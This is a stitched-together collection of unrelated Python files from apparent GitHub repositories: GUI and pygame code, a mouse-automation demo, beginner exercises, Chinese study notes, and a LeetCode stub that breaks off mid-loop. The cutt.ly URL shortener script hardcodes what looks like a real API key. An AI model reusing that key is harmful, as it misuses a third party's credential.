amount_label.place(x=5, y=55)
# entry for amount
amount_entry = Entry(bottom_frame, width=25, font=('Poppins 15 bold'))
amount_entry.place(x=5, y=80)
# an empty label for displaying the result
result_label = Label(bottom_frame, text='', font=('Poppins 10 bold'))
result_label.place(x=5, y=115)
# an empty label for displaying the time
time_label = Label(bottom_frame, text='', font=('Poppins 10 bold'))
time_label.place(x=5, y=135)
# the clickable button for converting the currency
convert_button = Button(bottom_frame, text="CONVERT", bg=secondary, fg=white, font=('Poppins 10 bold'), command=convert_currency)
convert_button.place(x=5, y=165)
# this runs the window infinitely until it is closed
window.mainloop() |
96ec108cb0ac2c756220ac07685f16e393ef7706 | x4nth055/pythoncode-tutorials | /general/url-shortener/cuttly_shortener.py | 589 | 3.5625 | 4 | import requests
import sys
# replace your API key
api_key = "64d1303e4ba02f1ebba4699bc871413f0510a"
# the URL you want to shorten
url = sys.argv[1]
# preferred name in the URL
api_url = f"https://cutt.ly/api/api.php?key={api_key}&short={url}"
# or
# api_url = f"https://cutt.ly/api/api.php?key={api_key}&short={url}&name=some_unique_name"
# make the request
data = requests.get(api_url).json()["url"]
if data["status"] == 7:
# OK, get shortened URL
shortened_url = data["shortLink"]
print("Shortened URL:", shortened_url)
else:
print("[!] Error Shortening URL:", data) |
2dbadce9d4d45885537755e69599f7774af7142a | x4nth055/pythoncode-tutorials | /gui-programming/platformer-game/world.py | 4,383 | 3.5625 | 4 | import pygame
from settings import tile_size, WIDTH
from tile import Tile
from trap import Trap
from goal import Goal
from player import Player
from game import Game
class World:
def __init__(self, world_data, screen):
self.screen = screen
self.world_data = world_data
self._setup_world(world_data)
self.world_shift = 0
self.current_x = 0
self.gravity = 0.7
self.game = Game(self.screen)
# generates the world
def _setup_world(self, layout):
self.tiles = pygame.sprite.Group()
self.traps = pygame.sprite.Group()
self.player = pygame.sprite.GroupSingle()
self.goal = pygame.sprite.GroupSingle()
for row_index, row in enumerate(layout):
for col_index, cell in enumerate(row):
x, y = col_index * tile_size, row_index * tile_size
if cell == "X":
tile = Tile((x, y), tile_size)
self.tiles.add(tile)
elif cell == "t":
tile = Trap((x + (tile_size // 4), y + (tile_size // 4)), tile_size // 2)
self.traps.add(tile)
elif cell == "P":
player_sprite = Player((x, y))
self.player.add(player_sprite)
elif cell == "G":
goal_sprite = Goal((x, y), tile_size)
self.goal.add(goal_sprite)
# world scroll when the player is walking towards left/right
def _scroll_x(self):
player = self.player.sprite
player_x = player.rect.centerx
direction_x = player.direction.x
if player_x < WIDTH // 3 and direction_x < 0:
self.world_shift = 8
player.speed = 0
elif player_x > WIDTH - (WIDTH // 3) and direction_x > 0:
self.world_shift = -8
player.speed = 0
else:
self.world_shift = 0
player.speed = 3
# add gravity for player to fall
def _apply_gravity(self, player):
player.direction.y += self.gravity
player.rect.y += player.direction.y
# prevents player to pass through objects horizontally
def _horizontal_movement_collision(self):
player = self.player.sprite
player.rect.x += player.direction.x * player.speed
for sprite in self.tiles.sprites():
if sprite.rect.colliderect(player.rect):
# checks if moving towards left
if player.direction.x < 0:
player.rect.left = sprite.rect.right
player.on_left = True
self.current_x = player.rect.left
# checks if moving towards right
elif player.direction.x > 0:
player.rect.right = sprite.rect.left
player.on_right = True
self.current_x = player.rect.right
if player.on_left and (player.rect.left < self.current_x or player.direction.x >= 0):
player.on_left = False
if player.on_right and (player.rect.right > self.current_x or player.direction.x <= 0):
player.on_right = False
# prevents player to pass through objects vertically
def _vertical_movement_collision(self):
player = self.player.sprite
self._apply_gravity(player)
for sprite in self.tiles.sprites():
if sprite.rect.colliderect(player.rect):
# checks if moving towards bottom
if player.direction.y > 0:
player.rect.bottom = sprite.rect.top
player.direction.y = 0
player.on_ground = True
# checks if moving towards up
elif player.direction.y < 0:
player.rect.top = sprite.rect.bottom
player.direction.y = 0
player.on_ceiling = True
if player.on_ground and player.direction.y < 0 or player.direction.y > 1:
player.on_ground = False
if player.on_ceiling and player.direction.y > 0:
player.on_ceiling = False
# add consequences when player run through traps
def _handle_traps(self):
player = self.player.sprite
for sprite in self.traps.sprites():
if sprite.rect.colliderect(player.rect):
if player.direction.x < 0 or player.direction.y > 0:
player.rect.x += tile_size
elif player.direction.x > 0 or player.direction.y > 0:
player.rect.x -= tile_size
player.life -= 1
# updating the game world from all changes commited
def update(self, player_event):
# for tile
self.tiles.update(self.world_shift)
self.tiles.draw(self.screen)
# for trap
self.traps.update(self.world_shift)
self.traps.draw(self.screen)
# for goal
self.goal.update(self.world_shift)
self.goal.draw(self.screen)
self._scroll_x()
# for player
self._horizontal_movement_collision()
self._vertical_movement_collision()
self._handle_traps()
self.player.update(player_event)
self.game.show_life(self.player.sprite)
self.player.draw(self.screen)
self.game.game_state(self.player.sprite, self.goal.sprite)
|
78ce0accceb722296ce623a1887aba4c258145a4 | x4nth055/pythoncode-tutorials | /general/mouse-controller/control_mouse.py | 1,004 | 3.75 | 4 | import mouse
# left click
mouse.click('left')
# right click
mouse.click('right')
# middle click
mouse.click('middle')
# get the position of mouse
print(mouse.get_position())
# In [12]: mouse.get_position()
# Out[12]: (714, 488)
# presses but doesn't release
mouse.hold('left')
# mouse.press('left')
# drag from (0, 0) to (100, 100) relatively with a duration of 0.1s
mouse.drag(0, 0, 100, 100, absolute=False, duration=0.1)
# whether a button is clicked
print(mouse.is_pressed('right'))
# move 100 right & 100 down
mouse.move(100, 100, absolute=False, duration=0.2)
# make a listener when left button is clicked
mouse.on_click(lambda: print("Left Button clicked."))
# make a listener when right button is clicked
mouse.on_right_click(lambda: print("Right Button clicked."))
# remove the listeners when you want
mouse.unhook_all()
# scroll down
mouse.wheel(-1)
# scroll up
mouse.wheel(1)
# record until you click right
events = mouse.record()
# replay these events
mouse.play(events[:-1])
|
c2f3c2f4f9e5f4d6fcba4789bdcfcb0982167d1b | x4nth055/pythoncode-tutorials | /general/video-to-audio-converter/video2audio_moviepy.py | 457 | 3.5 | 4 | import os
import sys
from moviepy.editor import VideoFileClip
def convert_video_to_audio_moviepy(video_file, output_ext="mp3"):
"""Converts video to audio using MoviePy library
that uses `ffmpeg` under the hood"""
filename, ext = os.path.splitext(video_file)
clip = VideoFileClip(video_file)
clip.audio.write_audiofile(f"{filename}.{output_ext}")
if __name__ == "__main__":
vf = sys.argv[1]
convert_video_to_audio_moviepy(vf) |
502aeeb7cc94fca111d0597f863a2d09528a525a | aravind9643/Python_Programs | /Aravind/Practice_2_14112018.py | 428 | 3.703125 | 4 | #String Handling methods
s1 = "aravind"
s2 = "Aravind"
s3 = "ARAVIND"
s4 = " "
s5 = "A5"
s6 = " Aravind "
print "Upper : ",s1.upper()
print "Lower : ",s2.lower()
print "Capitalize",s1.capitalize()
print "Is Upper : ",s3.isupper()
print "Is Lower : ",s1.islower()
print "Is Space : ",s4.isspace()
print "Is Alpha : ",s1.isalpha()
print "Is AlNum : ",s5.isalnum()
print "lstrip : ",s6.lstrip()
print "rstrip : ",s6.rstrip()
|
25b8baaafb486e6018eb9290bbddfa67740cb882 | aravind9643/Python_Programs | /Aravind/Practice_3_14112018.py | 77 | 3.875 | 4 | #String Operations (Slicing)
str = "Aravind"
print str[1:5]
print str[-6:-2] |
2b96b7dd86cc485189f87f81fae1f875f3c76d19 | swaraj1999/python | /chap 3 if_and_loop/for_loop_string.py | 293 | 3.640625 | 4 | # for i in range(len(name)):
# print(name(i)) #old process
name="swaraj"
for i in name:
print(i) #python
#1256= 1+2+5+6
num=input("enter name ::")
total=0
for i in num:
total+=int(i)
print(total) #python spl |
4ecfc694f1652d1f3ecc2b3cc6addff325126ab8 | swaraj1999/python | /chap 3 if_and_loop/exercise6.py | 313 | 4.0625 | 4 | #ask user for name and age,if name starts with (a or A) and age is above 10 can watch mpovie otherwise sorry
name,age=input("enter \t name \n \t age ((separated by space)::").split()
age=int(age)
if (age>=10) and (name[0]=='a' or name[0]=='A'):
print("you can watch movie")
else:
print("sorry") |
1d68a3df1eabd82b222b90a1ce2ef85556cff033 | swaraj1999/python | /chap 2 string/more_inputs_in_one_line.py | 514 | 3.9375 | 4 | #input more than one input in one line
name,age= input("enter your name and age(separated by space)").split() #.split splits the string in specific separator and returns a list
print(name)
print (age)
#during giving name and age,a space will be provided into name and age,other wise it will be error,swaraj19 will not be accepted,swaraj 19 is correct
nm,ag=input("enter your name and age(separated by comma)").split(",")
print(nm)
print(ag)
# here space not required,you need to use a comma b/w name age
|
be1df6b6d7690e3e55bf9a7c50b7d496707c22fa | swaraj1999/python | /chap 7 dictionary/more.py | 304 | 3.9375 | 4 | # more about get method
user={'name':'swaraj','age':19}
print(user.get('names','not found')) # it will print not found instead of none cz names is not key,other wise print value
#more than two same keys
user={'name':'swaraj','age':19,'age':12} # it will overwrite 12
print(user)
|
06d831bdfe88c48846a0230006e81c439890eeb2 | swaraj1999/python | /chap 2 string/variable_more.py | 253 | 3.75 | 4 | # taking one or more variables in one line
name, age=" swaraj","19" #dont take 19, take 19 as string "19",otherwise it will give error
print("hello " + name + " your age is " + age) # hello swaraj your age is 19
XX=YY=ZZ=1
print(XX+YY+ZZ)
#ANS 3
|
8f8e8651d25ac8333692a5aa18bc26589f3fefe4 | swaraj1999/python | /chap 8 set/set_intro.py | 1,092 | 4.1875 | 4 | # set data type
# unordered collection of unique items
s={1,2,3,2,'swaraj'}
print(s) # we cant do indexing here like:: s[1]>>wrong here,UNORDERED
L={1,2,4,4,8,7,0,9,8,8,0,9,7}
s2=set(L) # removes duplicate,unique items only
print(s2)
s3=list(set(L))
print(s3) # set to list
# add data
s.add(4)
s.add(10)
print(s)
# remove method
s.remove(1) #key not present in set,it will show error && IF ONE KEY IS PRESENT SEVERAL TIME,IT WILL NOT REMOVE
print(s)
# discard method
s.discard(4) # key not present in set,it will not set error
print(s)
# copy method
s1=s.copy()
print(s1)
#we cant store list tuple dictionary , we can store float,string
# we can use loop
for item in s:
print(item)
# we can use if else
if 'a' in s:
print('present')
else:
print('false')
# union && intersection
s1={1,2,3}
s2={4,5,6}
union_set=s1|s2 # union |
print(union_set)
intersection_set=s1&s2 # intersection using &
print(intersection_set)
|
4b4ced98150d913d22ec9ce39a21f21dcdd8faa8 | swaraj1999/python | /chap 7 dictionary/in_itterations.py | 889 | 4.03125 | 4 | # in keyword and iterations in dictionary
user_info = {
'name':'swaraj',
'age':19,
'fav movies':['ggg','hhh'],
'fav tunes':['qqq','www'],
}
# check if key in dictionary
if 'name' in user_info: # check any key word
print('present')
else:
print('not present')
# check if value exists in dictionary
if 24 in user_info:
print('present')
else:
print('not present')
# loopps in dictionary
for i in user_info:
print(i) # print keys
print(user_info[i]) # value
# value method
user_info_values=user_info.values()
print(user_info_values)
print(type(user_info_values))
# keys method
user_info_keys=user_info.keys()
print(user_info_keys)
print(type(user_info_keys))
# item method
user_items = user_info.items()
print(user_items)
print(type(user_items))
|
15c3309d2d94b809fccc1c1aaaa0cd66cdfd3954 | swaraj1999/python | /chap 4 function/exercise11.py | 317 | 4.375 | 4 | # pallindrome function like madam,
def is_pallindrome(name):
return name == name[::-1]
#if name == reverse of name
# then true,otherwise false
# print(is_pallindrome(input("enter name"))) #not working for all words
print(is_pallindrome("horse")) #working for all words |
aa200cf39c63f65b74bf0490391a048be026dc6f | swaraj1999/python | /chap 5 list/function.py | 226 | 3.796875 | 4 | #min and max function
numbers=[6,60,2]
def greatest_diff(l):
return max(l)-min(l)
print(greatest_diff(numbers)) #print diff of two no
print(min(numbers)) # min
print(max(numbers)) #max |
5334cf3288c199a6f4d943541d318a14e6ad1d56 | fsandhu/qrCode-gen | /main.py | 1,042 | 3.609375 | 4 | __author__ = "Fateh Sandhu"
__email__ = "fatehkaran@huskers.unl.edu"
"""
Takes in a weblink or text and converts it into qrCode using a GUI
Built using Tkinter library.
"""
import sys
import tkinter as tk
import qrcode as qr
from PIL import Image
from tkinter import messagebox
qrCode = qr.make("welcome")
qrCode.save("qr.png")
# define function that updates qrCode when <generateQR> button is clicked.
def gen_code():
text = ent_val.get()
qrCode = qr.make(text)
qrCode.save("qrUpdate.png")
ent_val.delete(0, tk.END)
qrImg1 = tk.PhotoImage(file="qrUpdate.png")
display.configure(image=qrImg1)
display.image = qrImg1
window = tk.Tk()
window.title("QR Code Generator")
lbl_insert = tk.Label(text="Enter text or weblink: ")
lbl_insert.pack()
ent_val = tk.Entry(lbl_insert, width=30, bg="white", fg="black", text="Enter text/weblink")
ent_val.pack()
qrImg = tk.PhotoImage(file="qr.png")
display = tk.Label(image=qrImg)
display.pack(side=tk.BOTTOM)
btn = tk.Button(text="Generate QR", command=gen_code)
btn.pack()
window.mainloop()
|
36a7847a50d3af04b66455750f93a9a731db9c4b | raullopezgonzalez/Artificial-Intelligence | /Lab5/src/pca_utils.py | 1,899 | 3.5 | 4 | #!/usr/bin/python
# -*- coding: utf-8 -*-
import numpy as np
import matplotlib.pyplot as plt
from sklearn.decomposition import PCA
def toy_example_pca():
rng = np.random.RandomState(1)
X = np.dot(rng.rand(2, 2), rng.randn(2, 200)).T
# do the plotting
plt.scatter(X[:, 0], X[:, 1])
plt.xlabel('$x_1$', fontsize=16)
plt.ylabel('$x_2$', fontsize=16)
plt.axis('equal');
return X
def draw_vector(v0, v1, ax=None):
ax = ax or plt.gca()
arrowprops=dict(arrowstyle='->',
linewidth=2,
shrinkA=0, shrinkB=0)
ax.annotate('', v1, v0, arrowprops=arrowprops)
def plot_pca_toy_example(X):
#pca = PCA(n_components=2, whiten=True).fit(X)
pca = PCA(n_components=2).fit(X)
X_pca = pca.transform(X)
fig, ax = plt.subplots(1, 3, figsize=(20, 5))
fig.subplots_adjust(left=0.0625, right=0.95, wspace=0.1)
# plot data
ax[0].scatter(X[:, 0], X[:, 1], alpha=0.2)
for length, vector in zip(pca.explained_variance_, pca.components_):
v = vector * 3 * np.sqrt(length)
draw_vector(pca.mean_, pca.mean_ + v, ax=ax[0])
ax[0].axis('equal');
ax[0].set(xlabel='x', ylabel='y', title='input')
# plot principal components
ax[1].scatter(X_pca[:, 0], X_pca[:, 1], alpha=0.2)
draw_vector([0, 0], [0, 1], ax=ax[1])
draw_vector([0, 0], [3, 0], ax=ax[1])
ax[1].axis('equal')
ax[1].set(xlabel='component 1', ylabel='component 2',
title='principal components',
xlim=(-5, 5), ylim=(-3, 3.1))
# plot principal components
pca = PCA(n_components=2, whiten=True).fit(X)
X_pca = pca.transform(X)
ax[2].scatter(X_pca[:, 0], X_pca[:, 1], alpha=0.2)
draw_vector([0, 0], [0, 3], ax=ax[2])
draw_vector([0, 0], [3, 0], ax=ax[2])
ax[2].axis('equal')
ax[2].set(xlabel='component 1', ylabel='component 2',
title='principal components (whiten: unit variance)',
xlim=(-5, 5), ylim=(-3, 3.1))
return pca
|
6443de5f4faef205aa7cb2b213f262b625cea272 | chelosilvero78/small-projects | /exercises-python/AutomateTheBoringStuff/ch9-3-1b.py | 1,791 | 3.734375 | 4 | ###Automate tbs.
'''
Filling in the Gaps
Write a program that finds all files with a given prefix, such as spam001.txt, spam002.txt, and so on, in a single folder and locates any gaps in the numbering (such as if there is a spam001.txt and spam003.txt but no spam002.txt). Have the program rename all the later files to close this gap.
As an added challenge, write another program that can insert gaps into numbered files so that a new file can be added.
'''
import os, shutil
from os import path as p, listdir
from shutil import move
def debugP(*var):
print('dbg',var)
d = input('...enter to continue ')
def create_subfolder(new_dest):
new_sub = new_dest
if os.path.exists(new_sub) is False:
os.makedirs(new_sub)
return new_sub
# spampath should exist if using this function for real
userPath = input('Input a path to create "spam" subfolder.')
spampath = create_subfolder(userPath)
# create spam00x files (unnecessary if files exist)
for i1 in range(12):
if i1 == 6: continue #we're skipping spam006.txt
num000 = ('{num:03d}'.format(num=i1)) # create formatted 00x numbers
spamfile = open(''.join((spampath, 'spam', num000, '.txt')), 'w')
spamfile.close()
'''
# pause (only for testing)
print('Pause - check if files were created.')
pause = input('...enter to continue ')
'''
#initialize
num0 = 0
num000 = ('{num:03d}'.format(num=num0))
spamlist = listdir(spampath)
for i2, file in enumerate(spamlist):
if file.startswith('spam'):
spamnew = ''.join((file[:-7], num000, '.txt'))
if spamnew != file:
move(p.join(spampath, file), p.join(spampath, spamnew))
num0 += 1
num000 = ('{num:03d}'.format(num=num0))
print('Files were successfully renumbered.')
'''
''' |
d0beb6ea25578dadd9859a79955980e6f42f0436 | chelosilvero78/small-projects | /small-projects-python/ClearDone-3.py | 1,652 | 3.6875 | 4 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created 4/19/17, 11:34 AM
@author: davecohen
Title: Clear Done
Input: text file that has lines that begin with 'x ' (these are done files)
Output: text file that moves those lines to the end of the file with date stamp at top.
USAGE:
Run file with terminal - copy your todo items to clipboard.
Check your directory, "sorted files" for output.
CREATE A CONFIG FILE AS SUCH:
#config.py
myConfig = {'outputdir': 'my/output/path/'}
OR
Simply replace the outputdir line with your output path.
"""
import sys, os
from datetime import datetime
#NON-STANDARD LIBRARY
import pyperclip
#LOCAL MODULE - SEE ABOVE
from config import *
def debugP(var,num=1):
print('dbg',num,':',var)
d = input('...enter to continue ')
# MAIN
print('Please copy your todo list text to clipboard. Hit enter when done.')
pause = input('')
#use pyperclip to get clipboard
tododata = pyperclip.paste()
#create a list with clipboard content.
todolist = tododata.split('\n')
donelist = []
tasklist = []
outputdir = myConfig['outputdir'] #configure in a separate file
taskoutput = os.path.join(outputdir, 'sorted-tasks.txt')
doneoutput = os.path.join(outputdir, 'sorted-done.txt')
nowtime = str(datetime.now())
for line in todolist:
if line.startswith('x '):
donelist.append(line)
else:
tasklist.append(line)
with open(taskoutput, 'a') as f2:
for taskline in tasklist:
f2.write(taskline + '\n')
with open(doneoutput, 'a') as f2:
f2.write(nowtime + '\n')
for doneline in donelist:
f2.write(doneline + '\n')
print('Files output to:', taskoutput, '\n', doneoutput)
|
f586137284403932a921fe86453e8894c40fcc17 | chelosilvero78/small-projects | /exercises-python/MIT-6-0001/tests-hangman2.py | 2,906 | 3.546875 | 4 | '''
testing helper functions before committing to main file
'''
from hangman_no_hints import *
wordlist = load_words()
def reduceList(myList, num):
return [word for word in wordlist if len(word) == num]
# print('>>> reduceList tests')
# print(reduceList(wordlist, 2))
# print(reduceList(wordlist, 3))
# print(reduceList(wordlist, 4))
# print(reduceList(wordlist, 5))
def matchLetter(l1, l2):
l1 = l1.lower()
if l1 == l2: return True
elif l1 == '_': return True
else: return False
print('>>> matchLetter tests')
print(matchLetter('-', 'a')) #True
print(matchLetter('a', 'a')) #True
print(matchLetter('b', 'a')) #False
# def getIndices(word):
# # indices = []
# # for i, letter in enumerate(word):
# # if letter != '_':
# # indices.append(i)
# # return indices
#
# return [i for i, letter in enumerate(word) if letter != '_']
#
# print(getIndices('___nk'))
twoList = reduceList(wordlist, 2)
guessWord = '_i'
def letterTally(word):
#count the letters in w1 and w2, check for match
#only count letters present in w1
wordCount = {}
for letter in word:
if letter != '_' and letter not in wordCount:
wordCount.setdefault(letter, 1)
elif letter != '_' and letter in wordCount:
wordCount[letter] += 1
return wordCount
def removeSpaces(word):
return word.replace(' ', '').strip()
def removeUnderscores(word):
word = removeSpaces(word)
return word.replace('_', '')
def match_with_gaps(my_word, other_word):
my_word = removeSpaces(my_word)
other_word = removeSpaces(other_word)
for i, letter in enumerate(my_word):
if not matchLetter(my_word[i], other_word[i]):
return False
# https://stackoverflow.com/questions/9323749/python-check-if-one-dictionary-is-a-subset-of-another-larger-dictionary/41579450#41579450
if not letterTally(my_word).items() <= letterTally(other_word).items():
return False
return True
print('>>> match_with_gaps tests')
print(match_with_gaps("a_ _ le", "apple")) #True
print(match_with_gaps("te_ t", "tact")) #False
print(match_with_gaps("a_ _ le", "banana")) # False
print(match_with_gaps("a_ ple", "apple")) # False
def show_possible_matches(my_word):
my_word = removeSpaces(my_word)
myList = reduceList(wordlist, len(my_word))
possible_matches = [other_word for other_word in myList if match_with_gaps(my_word, other_word)]
if len(possible_matches) > 0:
for match in possible_matches:
print(match, end=" ")
print()
else: print('No matches found')
print('>>> match_with_gaps tests')
show_possible_matches("t_ _ t")
# tact tart taut teat tent test text that tilt tint toot tort tout trot tuft twit
show_possible_matches("abbbb_ ")
#No matches found
show_possible_matches("a_ pl_ ")
# ample amply
# len(secret_word) = max value for reduceList
|
424325f5f0d12aaf1de6c1ed351cf647e63de4d7 | chelosilvero78/small-projects | /small-projects-python/Game-Hangman-3.py | 2,228 | 3.625 | 4 | #pythontemplate
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on 3/1/17, 12:31 PM
@author: davecohen
Title: Hangman
===TODO
able to restart the game?
word list
graphics
"""
############
###GAME SETUP
############
import re
import getpass
#Word is prompted by non-game player. This may only work in bash terminal?
word=getpass.getpass("Type a word or phrase for someone else to guess: ")
print("Let's play Hangman!")
prompt = 'Have someone put in a word or phrase for you to guess: '
word = word.upper()
word = re.sub(r'[^\w\s]','',word)
censored = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
hanged = 0
hangman = [
'The post is built.',
'The head appears.',
'The body appears.',
'First arm up.',
'Now, the other arm.',
'First leg up. ONLY ONE MORE GUESS LEFT!',
'''Now, the other leg.
Sorry, you lose.
GAME OVER''',
]
guessed = []
valid = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
############
###FUNCTIONS
############
def dashword_call():
'''print dashword from censored'''
dashword = ''
for letter in word:
if letter in censored:
dashword = dashword + '-'
else: dashword = dashword + letter
return dashword
############
###GAME
############
print('{} wrong guesses and you get taken to the gallows!!!'.format(len(hangman)))
print(dashword_call())
while hanged < len(hangman):
guess = str(input('guess a letter: ')) #in function?
guess = guess.upper()
guess = re.sub(r'[^\w\s]','',guess)
#edit censored without guess:
if (len(guess) != 1) or (guess not in valid) :
print('invalid input.')
print(dashword_call())
continue
if guess in guessed:
print('already guessed.')
print(dashword_call())
continue
if guess in word and guess in censored:
censored = censored.replace(guess,'')
print(dashword_call())
if word == dashword_call():
print('YOU WIN!!')
break
if (guess not in word) and (guess not in guessed):
print('WRONG GUESS ({}/{}). {}'.format(hanged+1,len(hangman),hangman[hanged]))
hanged += 1
if hanged == len(hangman): break
print(dashword_call())
guessed.append(guess)
'''
'''
|
924837c49470fc6971c1593e5f09712409368779 | chelosilvero78/small-projects | /notes-python/PythonForEverybody/10-tuples.py | 3,055 | 3.953125 | 4 | #python3
print('Ch10.1 -\nTuples are immutable')
t_no = 'a', 'b', 'c', 'd', 'e'
t_paren = ('a', 'b', 'c', 'd', 'e')
print(t_no == t_paren)
print(t_no is t_paren)
t1 = ('a',)
print(type(t1))
s1 = ('a')
print(type(s1),'<-always include the final comma in a tuple of len 1!')
t_emp = tuple()
print(t_emp)
t_lup = tuple('lupins')
print(t_lup,'<-a string in a tuple function is iterated over the chars of the string')
t5 = ('a', 'b', 'c', 'd', 'e')
print(t5[0],'<- this is like get item 0')
print(t5[1:3])
#t5[0] = 'A' #this yields an error
t5 = ('A',) + t5[1:]
print(t5,'<-this replaced the old t5')
print('\nCh10 -\nComparing tuples')
t012 = (0, 1, 2)
t034 = (0, 3, 4)
print(t012 < t034)
t012 = (0, 1, 200000)
print(t012 < t034)
#---
'''This function sorts text from longest to shortest.'''
txt = 'but soft what light in yonder window breaks'
words = txt.split()
t = list() #empty list
for word in words:
t.append((len(word), word)) #create a tuple of 2 as list item
t.sort(reverse=True)
res = list() #list of tuples
for length, word in t:
res.append(word) #appends words in order of length
print(res)
#---
print('\nCh10 -\nTuple assignment')
m = [ 'have', 'fun' ]
x, y = m
print(x,'<- x is roughly equiv to m[0]')
print(y,'<- y is roughly equiv to m[1]')
a, b = 1,2
a, b = b, a
print(a,'<- we swapped the variables')
#---
addr = 'monty@python.org'
uname, domain = addr.split('@')
print(uname)
print(domain)
#---
print('\nCh10 -\nDictionaries and tuples')
d = {'a':10, 'b':1, 'c':22}
t = list(d.items()) #here, we made a list of d.items
print(t)
#---
d = {'a':10, 'b':1, 'c':22}
t = list(d.items())
t.sort()
print(t,'<-sorted!')
print('\nCh10.5 -\nMultiple assignment with dictionaries')
for key, val in list(d.items()):
print(val, key)
print('^this is what\'s up!')
d = {'a':10, 'b':1, 'c':22}
l = list()
#---
"""The function below creates a reverse sorted tuple from dictionary."""
for key, val in d.items() :
l.append( (val, key) )
#print(l)
l.sort(reverse=True)
print(l)
#---
print('\nCh10 -\nUsing tuples as keys in dictionaries')
first = 'd' #input('enter first name: ')
last = 'e' #input('enter last name: ')
number = 3 #input('enter number: ')
directory = {}
directory[last,first] = number #creates the dictionary syntax
for last, first in directory:
print(first, last, directory[last,first])
print('\nCh10 -\nSo many data types')
print('.sorted: sorted(iterable[, key][, reverse])')
print(sorted([5, 2, 3, 1, 4]))
print(sorted({1: 'D', 2: 'B', 3: 'B', 4: 'E', 5: 'A'}))
student_tuples = [('john', 'A', 15),('jane', 'B', 12),('dave', 'B', 10)]
print(sorted(student_tuples, key=lambda student: student[2])) # sort by age
print('^woah wtf is lamda?')
#---
print('reversed: reversed(seq) \n Return a reverse iterator. seq must be an object which has a __reversed__() method or supports the sequence protocol (the __len__() method and the __getitem__() method with integer arguments starting at 0).')
student_list = ['jim','sally','greg']
new_list = list(reversed(student_list))
print(reversed(new_list))
print('^I\'m so confused.')
|
6d08454da7f8c3b15ec404505a6b77b9192e570e | breschdleng/Pracs | /fair_unfair_coin.py | 1,307 | 4.28125 | 4 | import random
"""
Given an unfair coin, where probability of HEADS coming up is P and TAILS is (1-P), implement a fair coin from the given unfair coin
Approach: assume an unfair coin that gives HEADS with prob 0.3 and TAILS with 0.7. The objective is to convert this
to a fair set of probabilities of 0.5 each
Solution: use bayes theorem flip the coins twice, if HH or TT then p(HH) == 0.49, p(TT) = 0.09, p(HT) = p(TH) = 0.21
1) flip two coins
2) if HH or TT repeat 1)
3) if different then heads if HT and tails if TH
Bayes' Theorem:
p(head on the first flip / diff results) = p(diff results / head on the first flip)*p(head on the first flip) / p(diff results)
p(diff results / head on the first flip) = p(tails/heads) = 0.3
p(heads on first flip) = 0.7
p(diff results) = p(HT)+p(TH) = 0.21*2
p(head on the first flip / diff results) = 0.3*0.7/0.42 = 0.5 ---answer for a fair coin flip!
"""
"""
1: heads
0: tails
"""
def unfair_coin():
p_heads = random.randint(0, 100)/100
if p_heads > 0.5:
return 1
else:
return 0
def unfair_to_fair(a,b):
p, q = unfair_coin()
print(b*p, a*q)
if __name__ == '__main__':
a = unfair_coin()
b = unfair_coin()
if a==b:
unfair_coin()
if a == 1:
print("heads")
else:
print("tails")
|
c841e0852e4f1874f392065d0a21b32dfe9262e4 | AndrewZhang1996/DFSandBFS | /node.py | 347 | 3.546875 | 4 | class node():
def __init__(self, name, hasPrevious, hasNext):
self.name = name
self.previous = None
self.next = None
self.hasPrevious = hasPrevious
self.hasNext = hasNext
def set_previous(self, _previous):
if self.hasPrevious==1:
self.previous = _previous
def set_next(self, _next):
if self.hasNext==1:
self.next = _next
|
5b6fc5dbfa1e7d85d4c80642ecb2822c23d5a6be | ShainaJordan/thinkful_lessons | /fibo.py | 282 | 4.15625 | 4 | #Define the function for the Fibonacci algorithm
def F(n):
if n < 2:
return n
else:
print "the function is iterating through the %d function" %(n)
return (F(n-2) + F(n-1))
n = 8
print "The %d number in the Fibonacci sequence is: %d" %(n, F(n)) |
556ba64f9a8ac34fae4876547d44e2d990582742 | DL-py/python-notebook | /001基础部分/015函数.py | 1,548 | 4.34375 | 4 | """
函数:
"""
"""
函数定义:
def 函数名(参数):
代码
"""
"""
函数的说明文档:
1.定义函数说明文档的语法:
def 函数名(参数):
""" """内部写函数信息
代码
2.查看函数的说明文档方法:
help(函数名)
"""
# 函数说明文档的高级使用:
def sum_num3(a, b):
"""
求和函数sum_num3
:param a:参数1
:param b:函数2
:return:返回值
"""
return a + b
"""
返回值:可以返回多个值(默认是元组),也可以返回列表、字典、集合等
"""
"""
函数的参数:
1.位置参数:调用函数时根据函数定义的参数位置来传递参数
注意:传递和定义参数的顺序和个数必须一致
2.关键字参数:函数调用时,通过“键=值”形式加以指定,无先后顺序
注意:如果有位置参数时,位置参数必须在关键字参数的前面,但关键字参数之间不存在先后顺序
3.缺省参数(默认参数):用于定义函数,为参数提供默认值,调用时可不传入该默认参数的值。
注意:所有位置参数必须出现在默认参数前,包括函数定义和调用
"""
"""
不定长参数:
不定长参数也叫可变参数,用于不确定调用的时候会传递多少个参数(不传参数也可以)的场景,
此时可以用包裹位置参数,或包裹关键字参数,来进行参数传递,会显得非常方便。
包裹位置传递:*args
args是元组类型,则就是包裹位置传递
包裹关键字传递:**kwargs
"""
|
85d74879093a2041af2b2457d8f144a0df9e4bb5 | DL-py/python-notebook | /001基础部分/006元组.py | 230 | 3.78125 | 4 | """
元组:
1.元组与列表的区别:
元组中的数据不能修改(元组中的列表中的数据可以修改);列表中的数据可以修改
"""
# 创建元组:
tuple1 = (1, 2, 3, 4)
tuple2 = (1,) # 逗号不能省
|
2f6b959205e4761ab4147d1369f214ba7b81fad3 | changyubiao/myalgorithm-demo | /leetcode/leetcode215.py | 2,274 | 3.609375 | 4 | # -*- coding: utf-8 -*-
"""
在未排序的数组中找到第 k 个最大的元素。请注意,你需要找的是数组排序后的第 k 个最大的元素,而不是第 k 个不同的元素。
示例 1:
输入: [3,2,1,5,6,4] 和 k = 2
输出: 5
示例 2:
输入: [3,2,3,1,2,4,5,5,6] 和 k = 4
输出: 4
说明:
你可以假设 k 总是有效的,且 1 ≤ k ≤ 数组的长度。
来源:力扣(LeetCode)
链接:https://leetcode-cn.com/problems/kth-largest-element-in-an-array
著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。
1 方法1 :排序 解决 ,比较傻
"""
from typing import List
class Solution:
def findKthLargest(self, nums: List[int], k: int) -> int:
left, right = 0, len(nums) - 1
while True:
